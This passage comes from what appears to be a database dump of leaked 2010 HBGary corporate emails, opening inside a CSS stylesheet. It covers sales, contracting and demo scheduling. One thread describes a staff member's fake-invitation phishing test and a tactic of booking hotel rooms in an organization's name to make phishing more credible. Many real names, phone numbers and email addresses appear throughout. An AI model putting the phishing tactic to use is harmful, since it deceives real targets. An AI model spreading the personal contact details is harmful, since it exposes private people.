font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',5180,'aaron_hbgary_com/5180.html'),(11862,'2010-09-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008870.M51398P14101Q6716.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Matt Standart\" <matt@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Invitation','OK so I called the hotel and verified there is an event reserved on the date in question from that organization.  But I went to the organization website and on their calendar no event is scheduled.  I am just thinking about an elaborate phishing scheme and methods to increase the probability of success.  Reserving a room in the name of the organization (no ID required) while elaborate, would help.  In the end the latent benefit from all of this is weakening our trust in just about everything we touch.\r\n\r\nAaron',12042,'aaron_hbgary_com/12042.html'),(11863,'2010-09-16','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008870.M532040P14101Q6718.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: HBGary Meeting follow up','I spoke to Brian and learned that everyone is a dotted line to the CTO and the CTO reports to the board,Brian isn&#39;t the decision maker but he believes that Dan is pushing everything forward.  I need to get them a quote for managed services which they will want until the end of the year.\r\nI have not spoken to Dan yet.  I want to finalize the managed services proposal today.On Thu, Sep 16, 2010 at 8:26 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nMaria,Did this happen?  What was the result?\r\nAaronOn Sep 14, 2010, at 4:19 PM, Maria Lucas wrote:Hi Dan Are you available this afternoon to review the meeting with Greg and Aaron, and next steps?\r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com   \r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n\r\n',12046,'aaron_hbgary_com/12046.html'),(11864,'2010-09-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008870.M869286P14101Q6719.eml','\"Maria Lucas\" <maria@hbgary.com>','Re: HBGary Meeting follow up','Yeah remember the CTO is also the founder.  We had the right guy and he was impressed.  Cool.  I sent Daniel what he requested on training but haven&#39;t heard back yet.\r\nAaronSent from my iPhoneOn Sep 16, 2010, at 1:26 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:I spoke to Brian and learned that everyone is a dotted line to the CTO and the CTO reports to the board,\r\nBrian isn&#39;t the decision maker but he believes that Dan is pushing everything forward.  I need to get them a quote for managed services which they will want until the end of the year.\r\nI have not spoken to Dan yet.  I want to finalize the managed services proposal today.On Thu, Sep 16, 2010 at 8:26 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nMaria,Did this happen?  What was the result?\r\n\r\nAaronOn Sep 14, 2010, at 4:19 PM, Maria Lucas wrote:Hi Dan Are you available this afternoon to review the meeting with Greg and Aaron, and next steps?\r\n\r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com   \r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nemail: maria@hbgary.com   \r\n\r\n\r\n',14114,'aaron_hbgary_com/14114.html'),(11865,'2010-09-16','\"Spoofed Name Here\" <mailer@delivery.cocodot.com>','/aaron@hbgary.com/new/1297008871.M180562P14101Q6720.eml','\"Aaron Barr\" <aaron@hbgary.com>','Spoofed Name Here sent you a card','\r\n\r\n\r\n  \r\n  	\r\n  		\r\n  		  \r\n  			\r\n  				\r\n\r\n  				  \r\n  				    \r\n  				    \r\n    				    \r\n                	\r\n                	  Aaron Barr, you have been sent a card...\r\n                	\r\n                \r\n              \r\n              \r\n              \r\n              \r\n              \r\n  				    \r\n  				    \r\n  				    \r\n  \r\n  	\r\n  	  \r\n  	\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	&nbsp;\r\n\r\n\r\n	\r\n	  \r\n	    \r\n	      \r\n	        \r\n            CLICK TO VIEW CARD\r\n          \r\n        \r\n      \r\n    \r\n  \r\n\r\n\r\n  				    \r\n  				    \r\n              \r\n	&nbsp;\r\n\r\n\r\n	\r\n\r\n\r\n  				    \r\n                &nbsp;\r\n              \r\n              \r\n                \r\n                  \r\n                     \r\n                    Add mailer@delivery.cocodot.com to your address book to ensure that you receive cocodot emails in your inbox.\r\n                \r\n              \r\n  				    \r\n                &nbsp;\r\n              \r\n              \r\n                \r\n                  \r\n                    Please do not reply to this message; it was sent from an unmonitored email address. This message was intended for aaron@hbgary.com. \r\n                    Don\'t want to receive these messages? Unsubscribe.\r\n                  \r\n                \r\n              \r\n            \r\n\r\n    			\r\n    		\r\n        \r\n    	\r\n    \r\n  \r\n\r\n\r\n',3059,'aaron_hbgary_com/3059.html'),(11866,'2010-09-16','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297008871.M402590P14101Q6721.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Garcia, Kathy (TASC)\" <KATHERINE.GARCIA@tasc.com>,\"Newbern, Dave (TASC)\" <DAVID.NEWBERN@tasc.com>,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,\"Brunst Jr, Gerald R (TASC)\" <GERALD.BRUNSTJR@tasc.com>','Discuss ManTech as potential team mate for ROMAS','\r\n\r\n\r\n\r\n\r\nDiscuss ManTech as potential team mate for ROMAS\r\n\r\n\r\n\r\n\r\nWhen: Friday, September 17, 2010 10:30 AM-11:30 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: WF3, 3c\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n\r\nNotice new conference room \r\n\r\n\r\n',127,'aaron_hbgary_com/127.html'),(11867,'2010-09-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008871.M603889P14101Q6722.eml','\"Scott Suhy\" <Scott.Suhy@PointAbout.com>','Disney Discussions','Scott,\r\n\r\nLet me know if this doesn\'t read right...\r\n\r\nBasically in many different areas of the government there is a need to embrace new media technologies.  In the area that I am pursuing I am looking at ways the government can more effectively deliver messages to specific audiences using new media.  I am working to develop a small list of large successful companies in this space as advisors in helping, likewise I am building a short list of small successful companies that will help me execute.  There will be little if any work required  once on contract other than to on occasion meet with us to discuss new ideas, challenges, and to get feedback or advice that might help us more successfully achieve our goals.\r\n\r\nWe are currently in proposal phase and would like to discuss the possibility of putting Disney on our team of advisors.  I would like to meet with someone that is strategically focused and if possible posses government clearances.\r\n\r\nThank You,\r\nAaron',697,'aaron_hbgary_com/697.html'),(11868,'2010-09-16','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008871.M867153P14101Q6723.eml','all@hbgary.com','Active spear-phising hitting HBGary - DO NOT CLICK LINKS',' \r\nAll,\r\n \r\nSeveral senior staff at HBGary have been mailed what look like legitimate invitations to DoD or intelligence community events in and around the D.C. and McLean area.  THESE ARE FAKE.  This is a directed and targeted attack against HBGary by an APT threat.  DO NOT CLICK THE LINKS.  If you have one of these email, please notify shawn@hbgary.com immediately and our service organization will investigate.\r\n\r\n \r\nThanks!\r\n \r\n-Greg Hoglund\r\nCEO, HBGary, Inc.\r\n',8005,'aaron_hbgary_com/8005.html'),(11869,'2010-09-16','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008872.M105186P14101Q6724.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,,','Re: Invitation','You fucker Aaron, I just wasted some of shawn&#39;s time because you didn&#39;t heads up me on your little stunt.\r\n-G\r\n \r\nOn Thu, Sep 16, 2010 at 9:16 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nOK so I called the hotel and verified there is an event reserved on the date in question from that organization.  But I went to the organization website and on their calendar no event is scheduled.  I am just thinking about an elaborate phishing scheme and methods to increase the probability of success.  Reserving a room in the name of the organization (no ID required) while elaborate, would help.  In the end the latent benefit from all of this is weakening our trust in just about everything we touch.\r\nAaron\r\n',9211,'aaron_hbgary_com/9211.html'),(11870,'2010-09-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008872.M335298P14101Q6725.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Invitation','shit. &nbsp;sorry.aaronOn Sep 16, 2010, at 2:10 PM, Greg Hoglund wrote:You fucker Aaron,&nbsp;I just wasted some of shawn\'s time because you didn\'t heads up me on your little stunt.\r\n-G\r\n&nbsp;\r\nOn Thu, Sep 16, 2010 at 9:16 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nOK so I called the hotel and verified there is an event reserved on the date in question from that organization. &nbsp;But I went to the organization website and on their calendar no event is scheduled. &nbsp;I am just thinking about an elaborate phishing scheme and methods to increase the probability of success. &nbsp;Reserving a room in the name of the organization (no ID required) while elaborate, would help. &nbsp;In the end the latent benefit from all of this is weakening our trust in just about everything we touch.\r\nAaron\r\n',16125,'aaron_hbgary_com/16125.html'),(11871,'2010-09-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008872.M569694P14101Q6726.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Invitation','I didn\'t realize people wouldn\'t make the connection to the email I got earlier.Won\'t do it again.Its a powerful attack vector I think...surprised we haven\'t seen more of it.AaronOn Sep 16, 2010, at 2:10 PM, Greg Hoglund wrote:You fucker Aaron,&nbsp;I just wasted some of shawn\'s time because you didn\'t heads up me on your little stunt.\r\n-G\r\n&nbsp;\r\nOn Thu, Sep 16, 2010 at 9:16 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nOK so I called the hotel and verified there is an event reserved on the date in question from that organization. &nbsp;But I went to the organization website and on their calendar no event is scheduled. &nbsp;I am just thinking about an elaborate phishing scheme and methods to increase the probability of success. &nbsp;Reserving a room in the name of the organization (no ID required) while elaborate, would help. &nbsp;In the end the latent benefit from all of this is weakening our trust in just about everything we touch.\r\nAaron\r\n',1935,'aaron_hbgary_com/1935.html'),(11872,'2010-09-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008872.M794275P14101Q6727.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,,','Re: Invitation','ah sorry guys. &nbsp;I sent an email right after the evite letting you know it was me, but on afterthought probably should have warned you ahead of time.... &nbsp;again sorry for the flail, I\'ll be more careful.Its a good attack vector though. &nbsp;I will be including it in my social media pen testing bag of trix.AaronOn Sep 16, 2010, at 2:10 PM, Greg Hoglund wrote:You fucker Aaron,&nbsp;I just wasted some of shawn\'s time because you didn\'t heads up me on your little stunt.\r\n-G\r\n&nbsp;\r\nOn Thu, Sep 16, 2010 at 9:16 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nOK so I called the hotel and verified there is an event reserved on the date in question from that organization. &nbsp;But I went to the organization website and on their calendar no event is scheduled. &nbsp;I am just thinking about an elaborate phishing scheme and methods to increase the probability of success. &nbsp;Reserving a room in the name of the organization (no ID required) while elaborate, would help. &nbsp;In the end the latent benefit from all of this is weakening our trust in just about everything we touch.\r\nAaron\r\n',16557,'aaron_hbgary_com/16557.html'),(11873,'2010-09-16','\"Charlie Scuilla\" <charlie@scuilla.com>','/aaron@hbgary.com/new/1297008873.M14190P14101Q6728.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Meeting Gatorbiat','Aaron:\r\n\r\nI thought that we were going to chat - on facetime?\r\n\r\nCharlie\r\n\r\n\r\nOn Jul 26, 2010, at 1:24 PM, Aaron Barr wrote:\r\n\r\n> Hey Charlie,\r\n>\r\n> More to follow next week.  I met with Bob Frisbie, my old boss, who  \r\n> now runs Mantechs work for that organization.  I have signed an NDA  \r\n> with them.  I also mentioned to Bob that you guys were interested as  \r\n> well.  He said he was still working on putting together \"the team\"  \r\n> and was looking for people that could contribute.  I don\'t know  \r\n> exactly what that means, but I will ask him again when I see him  \r\n> next week in our follow up meeting.\r\n>\r\n> I talked to GD on the phone, they are also interested to talk to us,  \r\n> we have a standing relationship with Jim Jaeger and his group, but I  \r\n> haven\'t heard anything else from him yet.  I think Mantech has  \r\n> potentially the strongest offering going into this, besides maybe  \r\n> Harris/Crucial.\r\n>\r\n> Aaron\r\n>\r\n>\r\n> On Jul 26, 2010, at 12:09 PM, Charlie Scuilla wrote:\r\n>\r\n>> Aaron:\r\n>>\r\n>> How did the meeting with Mantech go?\r\n>>\r\n>> Charlie\r\n>>\r\n>>\r\n>> On Jun 23, 2010, at 4:13 PM, Aaron Barr wrote:\r\n>>\r\n>>> I have a meeting with Mantech early next month.  Forget about  \r\n>>> Northrop, the lead for this does not have the capability, this is  \r\n>>> not Xetron but another part of Northrop that has a contentious  \r\n>>> relationship with Xetron so they will likely not team well  \r\n>>> internally.  I have reached out to GD to find out what their  \r\n>>> position is.  Interesting I know Wayne Chunn from way back when he  \r\n>>> was with Scitor, I don\'t know his new company though.  Everyone  \r\n>>> else doesn\'t excite me.  Mandiant certainly has some forensics  \r\n>>> capability, don\'t know how many cleared people they have etc.   \r\n>>> CACI I don\'t know much about.  MacB has some capability certainly,  \r\n>>> we have some contacts there, they are mostly focused in San Antonio.\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>>\r\n>>> On Jun 23, 2010, at 10:00 AM, Charlie Scuilla wrote:\r\n>>>\r\n>>>> Sorry it t\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> \r\n>>>\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>>\r\n>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n\r\n',932,'aaron_hbgary_com/932.html'),(11874,'2010-09-16','\"Charlie Scuilla\" <charlie@scuilla.com>','/aaron@hbgary.com/new/1297008873.M256925P14101Q6729.eml','\"Bob Siapnik\" <bob.slapnik@hbgary.com>,\"Bob Siapnik\" <bob.slapnik@hbgary.com>','Cinder Program','Bob:Link to Darpa site for Presentation on Cinder Programhttp://cinderprogram.spcconference.com/cgi-bin/index.cgiBest regards,Charlie',13403,'aaron_hbgary_com/13403.html'),(11875,'2010-09-16','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008873.M585340P14101Q6730.eml','\"Aaron Barr\" <aaron@hbgary.com>,nolan@informationsecuritysolutionsllc.com,\"Aaron Barr\" <aaron@hbgary.com>,nolan@informationsecuritysolutionsllc.com,,','RE: Social Media, Exploitation, and Persistent Internet Operations','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nNolan and David,\r\n\r\n&nbsp;\r\n\r\nGiven that it will take about a month for TMC to be ready,\r\nshould we schedule a meeting in the interim to show Active Defense, Digital DNA\r\nand Responder Pro?&nbsp; These are all readily available commercial products.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, September 16, 2010 11:24 AM\r\nTo: nolan@informationsecuritysolutionsllc.com\r\nCc: Bob Slapnik; David C. McGuffey; Rich Cummings; Blake Darche; Ted\r\nVera\r\nSubject: Re: Social Media, Exploitation, and Persistent Internet\r\nOperations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHey Nolan,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe delay in the TMC is we are rewriting some areas that\r\nwork but need more stability and at the same time we are adding some new\r\nfunctionality. &nbsp;In less than 30 days we will have the ability to submit\r\nmalware and generate detailed reports with DDNA scoring, query the malware\r\ndatabase for specific markers or signatures, and pull fingerprinting data based\r\non key environmental variables, which allows you to pull up clusters of related\r\nmalware. &nbsp;Past 30 days we are working on integrating Palantir as part of\r\nthe front end so you can map and analyze more effectively. &nbsp;In addition we\r\nare building social media collectors/scrapers and will be adding that data as\r\nwell. &nbsp;We have talked with US-CERT, FBI Cyber Division, and IARPA about\r\nthis capability and so far have met with very good feedback on the direction\r\nand potential benefit to their organizations.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWhen we get closer to the end of the first dev cycle we will\r\nlet you know and set up a demo.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 15, 2010, at 12:05 AM, Nolan Clifford wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo\r\nworries Bob, we can reschedule. This is a super busy week for us on the program\r\nanyway.\r\n\r\nThanks,\r\nNolan\r\n\r\n703-945-7480 Sent via BlackBerry by AT&amp;T\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;&quot;Bob Slapnik&quot; &lt;bob@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:&nbsp;Wed, 15 Sep 2010 00:03:21 -0400\r\n\r\n\r\n\r\n\r\n\r\nTo:&nbsp;&lt;nolan@informationsecuritysolutionsllc.com&gt;;\r\n\'McGuffey, David C.\'&lt;DAVID.C.MCGUFFEY@saic.com&gt;;\r\n\'Rich Cummings\'&lt;rich@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nCc:&nbsp;\'Blake Darche\'&lt;blake.darche@informationsecuritysolutionsllc.com&gt;;\r\n\'Ted Vera\'&lt;ted@hbgary.com&gt;; \'Aaron\r\nBarr\'&lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject:&nbsp;RE: Social Media, Exploitation,\r\nand Persistent Internet Operations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNolan,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks for the reminder.&nbsp; I&#8217;ve been immersed in proposal\r\nwriting since Sunday morning and my mind has been preoccupied.&nbsp; I had\r\nlined up Ted Vera to do the demo via webex because I wanted him to show you the\r\nnew Threat Management Center.&nbsp; As of last Wednesday they were still\r\ntweaking TMC and weren&#8217;t sure if they would have it ready by this\r\nWednesday.&nbsp; If you need to see TMC then we may want to reschedule.&nbsp;\r\nIf all you want to see is Active Defense, Digital DNA and Responder, then I can\r\nask Rich or Ted to do the demo.&nbsp; Let&#8217;s touch base Wednesday morning to see\r\nif we are still on.&nbsp; My apology for being distracted.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary,\r\nInc.\r\n\r\n\r\n\r\n\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\n\r\n\r\n\r\n\r\nwww.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Nolan Clifford\r\n[mailto:nolan@informationsecuritysolutionsllc.com]&nbsp;\r\nSent:&nbsp;Tuesday, September\r\n14, 2010 10:37 PM\r\nTo:&nbsp;\'Bob Slapnik\';\r\n\'McGuffey, David C.\'; \'Rich Cummings\'\r\nCc:&nbsp;\'Blake Darche\'\r\nSubject:&nbsp;RE: Social Media,\r\nExploitation, and Persistent Internet Operations\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAre we still on for tomorrow at 10 or should we reschedule?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nNolan\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNolan Clifford, CISSP, CFCP\r\n\r\n\r\n\r\n\r\n\r\nCEO, Information Security Solutions\r\n\r\n\r\n\r\n\r\n\r\nwww.informationsecuritysolutionsllc.com\r\n\r\n\r\n\r\n\r\n\r\n703-945-7480 &#8211;Blackberry\r\n\r\n\r\n\r\n\r\n\r\n703-869-7396 &#8211; Mobile\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Nolan Clifford\r\n[mailto:nolan@informationsecuritysolutionsllc.com]&nbsp;\r\nSent:&nbsp;Tuesday, September\r\n07, 2010 4:01 PM\r\nTo:&nbsp;\'Bob Slapnik\';\r\n\'McGuffey, David C.\'; \'Rich Cummings\'\r\nCc:&nbsp;\'Blake Darche\'\r\nSubject:&nbsp;RE: Social Media,\r\nExploitation, and Persistent Internet Operations\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBob,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe would do the demo here in the same room most likely. That\r\ndate and time works fine for me, thanks.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\nNolan\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNolan Clifford, CISSP, CFCP\r\n\r\n\r\n\r\n\r\n\r\nCEO, Information Security Solutions\r\n\r\n\r\n\r\n\r\n\r\nwww.informationsecuritysolutionsllc.com\r\n\r\n\r\n\r\n\r\n\r\n703-945-7480 &#8211;Blackberry\r\n\r\n\r\n\r\n\r\n\r\n703-869-7396 &#8211; Mobile\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Bob Slapnik\r\n[mailto:bob@hbgary.com]&nbsp;\r\nSent:&nbsp;Tuesday, September\r\n07, 2010 2:01 PM\r\nTo:&nbsp;\'McGuffey, David C.\';&nbsp;nolan@informationsecuritysolutionsllc.com;\r\n\'Rich Cummings\'\r\nCc:&nbsp;\'Blake Darche\'\r\nSubject:&nbsp;RE: Social Media,\r\nExploitation, and Persistent Internet Operations\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNolan and David,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHow about 10 am on Wed 9/15? &nbsp;&nbsp;Would we meet at the\r\nSAIC office or onsite at Fort 